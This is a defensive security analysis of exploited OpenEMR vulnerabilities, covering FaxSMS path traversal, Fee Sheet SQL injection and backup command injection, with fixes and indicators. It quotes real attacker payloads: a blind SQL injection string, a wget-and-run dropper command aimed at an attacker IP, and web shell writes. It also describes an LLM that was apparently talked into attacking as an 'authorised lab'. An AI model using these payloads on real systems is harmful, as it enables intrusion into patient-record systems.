Four Minutes from Credentials to Webshell: OpenEMR's disposeDocument Trusted file_path
This is the English adaptation of the original Korean analysis at dohyeontech.github.io. On 8 November 2026, more than one hundred CVEs covering OpenEMR were published in two batches, on the 8th and the 13th, through Vu
This is the English adaptation of the original Korean analysis at dohyeontech.github.io.
On 8 November 2026, more than one hundred CVEs covering OpenEMR were published in two batches, on the 8th and the 13th, through VulnCheck's CNA. OpenEMR is the open-source electronic health record platform that an estimated 100,000 medical providers use to serve more than 200 million patients.
The next day, the first attacks reached VulnCheck's canary network — real, vulnerable OpenEMR containers spread across Spain, Italy, Canada, Japan, Australia, the United Kingdom and Brazil. Between 9 and 27 November, twelve IP addresses hit them 1,053 times using eight CVEs. The fastest actor spent four minutes going from a plaintext database password to a PHP web shell that executed when requested over HTTP. VulnCheck published the telemetry on 4 December as "OpenEMR Electronic Health Record Platform Under Siege".
The number that deserves more attention is not the four minutes. It is the twelve weeks before them. The code that fixes six of those CVEs was merged on 16 August and shipped in 8.3.0 on 18 August. Exploitation was first observed on 9 November.
What is established, and what is not
| Item | Status |
|---|---|
| Affected product |
Confirmed — OpenEMR: FaxSMS module (oe-module-faxsms), Fee Sheet, dynamic_finder_ajax.php, backup feature |
| Vulnerable versions |
Confirmed — six CVEs below 8.3.0, CVE-2026-126443 below 8.5.0, two older CVEs below 7.0.4 and 8.0.0.2 |
| Fixed in | Confirmed — 8.3.0 (2026-08-18) and 8.5.0 (2026-10-27). Latest release as of 6 December is 8.5.0 |
| Exploitation | Confirmed — VulnCheck canaries, 1,053 events from 12 IPs. Number of real victim organisations is not public |
| Severity |
Confirmed — CVE-2026-124450 and CVE-2026-124469 are 9.9 on the NVD CVSS 3.1 scale |
| CISA KEV | Absent — the catalog checked on 6 December holds 1,814 entries and none of them is OpenEMR. VulnCheck KEV added all eight automatically |
| Indicators | Published — 12 IPs, dropper SHA-256, four C2 domains, persistence artefacts |
| Real-world impact | Not disclosed — no public data on which organisations were compromised or whether patient records left |
| Full PoC | Partial — raw HTTP requests and the SQLi payload appear in the write-up; a per-CVE reproduction is not published |
The eight exploited CVEs, with NVD base scores and the event counts from VulnCheck's canaries:
| CVE | Location | Type | CVSS 3.1 | Events |
|---|---|---|---|---|
CVE-2026-124469 |
Fee Sheet drug-inventory lookup (DrugSalesService::sellDrug) |
SQL injection | 9.9 | 594 |
CVE-2026-124450 |
FaxSMS disposeDocument
|
Broken access control + path traversal | 9.9 | 168 |
CVE-2026-124490 |
RingCentral RCFaxClient::disposeDocument
|
Path traversal | 9.1 | 105 |
CVE-2026-124446 |
RCFaxClient / SignalWireClient::disposeDocument
|
Path traversal | 8.8 | 87 |
CVE-2026-24849 |
EtherFaxActions::disposeDocument (published February 2026) |
Arbitrary file read | 9.9 | 56 |
CVE-2026-126443 |
dynamic_finder_ajax.php |
Missing authorization (patient demographics) | 6.5 | 36 |
CVE-2026-32238 |
Backup feature (published March 2026) | Command injection | 9.1 | 6 |
CVE-2026-124488 |
load_form.php |
Authorization bypass (encounter forms) | 8.1 | 1 |
Two of the 9.9s share a reason: their vectors carry S:C. CVE-2026-124450 is AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L — any low-privilege authenticated user reaches the web server's authority.
1. One method, three copies, one guard
The FaxSMS module puts each fax vendor behind a single dispatcher. index.php instantiates AppDispatch, which resolves an action name against the client class. disposeDocument is one of them: it stages a fax document into a temporary path (action=setup) or streams it to the browser (action=download).
In 8.2.0, RCFaxClient::disposeDocument() looked like this.
public function disposeDocument(): string
{
$response = ['success' => false, 'message' => '', 'url' => ''];
$where = $this->getRequest('file_path') ?? $this->getSession('where');
if (empty($where)) {
die(xlt('Problem with download. Use browser back button'));
}
$content = $this->getRequest('content', '');
$action = $this->getRequest('action');
if ($action == 'download') {
$this->sendFile($where);
sleep(2);
unlink($where);
exit;
}
if (!empty($content) && $action == 'setup') {
$decodedContent = base64_decode((string)$content);
if (file_put_contents($where, $this->crypto->encryptForFilesystem($decodedContent)) !== false) {
$response['success'] = true;
$response['url'] = $where;
}
} elseif ($action == 'setup') {
$response['success'] = true;
$response['url'] = $where;
}
return json_encode($response);
}
file_path arrives from the request. There is no string validation, no comparison against a base directory, and no per-document permission check. Once a caller passes the module's own ACL, every path after that is handled with the web process's authority. action=download becomes arbitrary file read. action=setup becomes arbitrary file write, at any path, with any extension, from bytes the caller base64-encoded.
The entry point did have authentication, a module-level ACL and a CSRF token on state-changing actions. The document permission was the part that was missing. A fax artefact is a patient document, so the right check is patients/docs. disposeDocument never asked for it. A front-desk account was enough to walk to the plaintext credentials of the database holding the whole practice's records.
Duplicated code widened the blast radius. The same method existed as a per-vendor copy, and the February 2026 fix for CVE-2026-24849 — arbitrary file read through the EtherFax copy, patched in 7.0.4 — landed only in the EtherFax copy. RingCentral and SignalWire kept theirs. Eight months later, VulnCheck's CNA assigned a separate identifier to each surviving copy: CVE-2026-124446, CVE-2026-124490, CVE-2026-124450.
2. The ORDER BY that was used 594 times
The most exploited flaw was not a file. It was a query. When a clinician adds a dispensed drug to a Fee Sheet, DrugSalesService::sellDrug() looks up usable inventory lots, ordering the user's default warehouse first.
// If the user has a default warehouse, sort those lots first.
$orderby = ($default_warehouse === '') ?
"" : "di.warehouse_id != '$default_warehouse', ";
$orderby .= "lo.seq, di.expiration, di.lot_number, di.inventory_id";
...
$query .= "ORDER BY $orderby";
$res = QueryUtils::sqlStatementThrowException($query, $sqlarr);
Everything else in this function is bound. WHERE values go through placeholders and $sqlarr. The sort clause was the exception, because column names and directions do not accept placeholders, so the value stayed interpolated. It comes from the Fee Sheet POST: interface/forms/fee_sheet/new.php builds a per-line warehouse select named prod[$lino][warehouse] and hands $_POST['default_warehouse'] to the form object's save().
What the attackers sent:
prod[0][warehouse]=' , (SELECT IF((ASCII(SUBSTRING((SELECT VERSION()),2,1)) > 63),SLEEP(4.0),0) FROM information_schema.tables LIMIT 1) LIMIT 1 -- -
One quote closes the string literal, -- - comments out the remaining sort terms, and what is left is a condition that sleeps for four seconds or does not. Measuring the response time reads one bit per request — a time-based blind oracle. The 594 events extracted the MySQL VERSION(), the DATABASE() name, and the users_secure table that holds usernames and bcrypt hashes.
The actor's User-Agent on most of those requests was OpenEMR-CVE-2026-124469-PoC/1.0 (authorised-lab). VulnCheck's reading is that an LLM was convinced it was running an authorised lab exercise over the internet. Against a canary that claim was harmless. Against a clinic it was not.
3. The four minutes
On 10 November, 79.76.51[.]56 (Oracle Cloud, Sweden) produced this sequence inside a four-minute window:
- Read
sqlconf.phpthrough three installation paths in turn —/var/www/html/openemr/sites/default/sqlconf.php,/var/www/openemr/sites/default/sqlconf.php,/var/www/localhost/htdocs/openemr/sites/default/sqlconf.php. The file carries the MySQL host, database name, user and password in plaintext. One hit is enough to continue. - Write a base64-encoded PHP line to
interface/xv_345b85ce.phpthroughaction=setup. Decoded, it is<?php echo "XVOK".(7*7); ?>— a request that returnsXVOK49. - Read the same path back to confirm the bytes landed on disk.
- Repeat the write against
sites/default/documents/,sites/default/edi/and/tmp/, verifying each one.
Credential theft, web shell deployment and verification, in under four minutes. On 13 November, 179.43.189[.]122 (Private Layer, Switzerland) went further: a functional shell with command execution, written into the Smarty template cache as acl_admin.tpl.php, a directory full of compiled templates where one more .php file does not stand out.
One detail is worth separating from the exploit narrative. The setup branch wraps what it writes in encryptForFilesystem() — and that function does not always encrypt.
public function encryptForFilesystem(?string $value): string
{
if ($value === null || $value === '') {
return '';
}
if (!$this->shouldEncryptForFilesystem) {
return $value;
}
return $this->encryptStandard($value, keySource: KeySource::Database);
}
Where filesystem encryption is not provisioned, the bytes pass through unchanged. PHP written this way is PHP on disk. Encryption at rest is a defence that works only when it is switched on; it is not a containment boundary for an arbitrary write primitive.
The command-injection campaign is the smallest and the heaviest. The same Swiss IP sent six requests against the backup feature (CVE-2026-32238), starting with a'; { id; uname -a; which wget curl busybox php perl mysqldump; ls -la /tmp; } > /tmp/openemr_config.sql 2>&1; #, then delivering a dropper with wget -qO/tmp/p http://179.43.189[.]122/dl/pb_182930.sh; setsid sh /tmp/p >/dev/null 2>&1 & #, falling back to curl when wget is absent.
The dropper (pb_182930.sh, SHA-256 a1ce8b2d203e2b7add4ccc19f2eb835107df5acfbca87cf1a63569d4e0de3f0d) is operational infrastructure, not a one-shot exploit. It fingerprints the CPU (amd64, arm64, i386, arm, mips, mipsle), fetches the matching pwnbeacon binary, and carries six download fallbacks — curl, wget, busybox wget, python3, python2, and raw openssl s_client. It beacons every 300 seconds to its primary C2 with backup domains dressed as Microsoft Clarity and WPEngine properties, and installs five persistence mechanisms: a systemd unit named systemd-cache.service with Restart=always, an @reboot cron entry plus a ten-minute liveness check, /etc/profile.d/sysd-cache.sh, injection into ~/.bashrc and ~/.profile, and an XDG autostart desktop entry. Running as root, it appends an ed25519 key named crawler-fleet to /root/.ssh/authorized_keys. A comment in the script mentions "~350 zombies on old hosts".
Indicators
| Indicator | Type | Context |
|---|---|---|
179.43.189[.]122 |
IP | CH, Private Layer — SQLi, command injection, web shell |
79.76.51[.]56 |
IP | SE, Oracle Cloud — four-minute chain |
144.31.231[.]56 |
IP | Secondary C2 / download server |
23.132.164[.]35 / 5.188.206[.]226 / 78.128.113[.]10
|
IP | DE, BG |
114.12.19[.]232 / 103.160.213[.]217 / 103.76.149[.]104 / 36.69.158[.]169
|
IP | ID |
123.52.228[.]48 / 74.208.19[.]100 / 130.12.182[.]154
|
IP | CN, US, SI |
a1ce8b2d203e2b7add4ccc19f2eb835107df5acfbca87cf1a63569d4e0de3f0d |
SHA-256 |
pb_182930.sh dropper |
clarity-ms-analytics[.]com |
Domain | C2, mimics Microsoft Clarity |
wpengine-myloenergy[.]com / -parlaclinic[.]com / -gastro[.]org
|
Domain | C2, mimics WPEngine |
xv_*.php, probe.php, acl_admin.tpl.php in the Smarty cache |
Filename | Web shell and verification files |
systemd-cache.service, /etc/profile.d/sysd-cache.sh
|
Host | Persistence |
crawler-fleet |
SSH key | Added to authorized_keys
|
4. What the fix actually walls off
The 8.3.0 fix did not patch each vendor copy. It removed the copies. Commit 069c4a7f52 introduced FaxDocumentDisposalTrait.php (262 lines) and deleted 178 lines from EtherFaxActions.php, 70 from RCFaxClient.php and 67 from SignalWireClient.php. With one implementation, the eight-month failure mode — one copy fixed, three left behind — stops being structurally possible.
The shared implementation puts three gates in front of the filesystem. First, the document permission:
protected function authorizeDocumentAccess(): bool
{
return AclMain::aclCheckCore('patients', 'docs');
}
Second, path confinement. normalizePath() pops .. segments off a stack, and isPathAllowed() compares the realpath() result against the base directory. The comparison is boundary-aware: pathWithinRoot() accepts only equality or a prefix terminated by the directory separator, so a sibling directory such as <root>_evil fails. Files that do not exist yet are judged by resolving their parent.
Third, write restrictions. Extensions are limited to pdf, tif, tiff and txt, and the decoded bytes are rejected if they contain <?php, <?= or <script. Accepted writes go to a tempnam() file and are moved into place with rename(), then chmodded to 0660. The download branch only streams files that exist inside the base directory, through a sendFile() that decrypts and then removes the staged copy.
A 367-line regression test came with it. The assertions read as a list of the attack surface:
| Test | What it blocks |
|---|---|
testDownloadOutsideBaseDirIsBlockedBeforeStreaming |
Reading outside the base directory; asserts sendFile is never called |
testSetupWriteTraversalIsRejected |
Writing outside the base directory through ..
|
testSetupWriteRejectsDisallowedExtension |
.php and other non-fax extensions |
testSetupWriteRejectsExecutableContent |
PHP tags behind an allowed extension |
testUnauthorizedCallerIsRejectedWithoutFilesystemAccess |
Callers without the document permission |
The SQL injection fix, commit 31e13ee2d9, is a one-line change with a parameter appended:
$orderby = ($default_warehouse === '') ?
"" : "di.warehouse_id != ?, ";
$orderby .= "lo.seq, di.expiration, di.lot_number, di.inventory_id";
...
$query .= "ORDER BY $orderby";
if ($default_warehouse !== '') {
$sqlarr[] = $default_warehouse;
}
warehouse_id is a varchar such as 'onsite', so casting to an integer would have changed behaviour without closing the hole. Binding keeps the value a value; the placeholder is appended after the WHERE parameters so the order matches the final SQL string. The same commit added CSRF tokens to the state-changing POSTs in fee_sheet/new.php, which also closes the route where a logged-in clerk's browser could be made to send the injection.
Coverage by version:
| Target | Fixed in | Note |
|---|---|---|
CVE-2026-124450, 124446, 124469, 124488, 124490
|
8.3.0 (2026-08-18) | FaxSMS consolidation and SQLi binding |
CVE-2026-126443 |
8.5.0 (2026-10-27) |
dynamic_finder_ajax.php authorization |
CVE-2026-24849 |
7.0.4 | EtherFax copy only |
CVE-2026-32238 |
8.0.0.2 | Backup feature |
An instance on 8.3.0 or 8.4.x is already protected against five of the six November CVEs, but dynamic_finder_ajax.php remains open there. 8.5.0 is the only release that covers the whole set.
5. What to check on a running instance
The absence from CISA KEV matters operationally. If patch priority is driven by KEV membership, none of these eight CVEs appears on that list as of 6 December. That is the gap a vendor-run exploitation feed is meant to fill, and it is worth knowing that this campaign sits outside the list you are using.
Reduce exposure first. The FaxSMS interface (/interface/modules/custom_modules/oe-module-faxsms/) and the Fee Sheet belong on an internal network, not the internet. An OpenEMR instance reachable from the internet is the exact precondition of this campaign. If the patient portal and the staff interface share a host, separate them with network rules.
Search the access log. Look for these combinations:
disposeDocument + file_path=
disposeDocument + action=setup
file_path=/var/www/... /sites/default/sqlconf.php
file_path=../../../
Repeated sqlconf.php requests across several installation paths are step one of the four-minute chain. Add the User-Agent strings OpenEMR-CVE-2026-124469-PoC/1.0 and the artex-auth-pentest family, and note that this campaign concentrates: 637 events landed on a single day, 17 November.
Reconcile files and hosts. Under the web root, look for xv_*.php, probe.php, acl_admin.tpl.php in the Smarty cache, /tmp/.p.sh, /tmp/p and /tmp/xv_*.txt. On the host, check systemd-cache.service, /etc/profile.d/sysd-cache.sh, @reboot and */10 cron entries, the tail of ~/.bashrc and ~/.profile, any ~/.config/autostart entry, and crawler-fleet in authorized_keys. If a web shell is present, treat sqlconf.php as read: rotate the database account, the OpenEMR admin credentials, and every hash in users_secure.
If you cannot patch yet. Blocking the disposeDocument route at the reverse proxy is the narrowest mitigation; disabling the module outright is better for practices that do not use fax. The SQL injection is not covered by either, because it lives inside a normal Fee Sheet feature — narrowing Fee Sheet permissions to roles that need it and watching POSTs on that endpoint is the limit of a stopgap. Upgrading to 8.5.0 is what closes the set at once.
Originally published by Dev.to Security. Aggregated on AIWithGhost for educational purposes — full credit and traffic to the original publisher.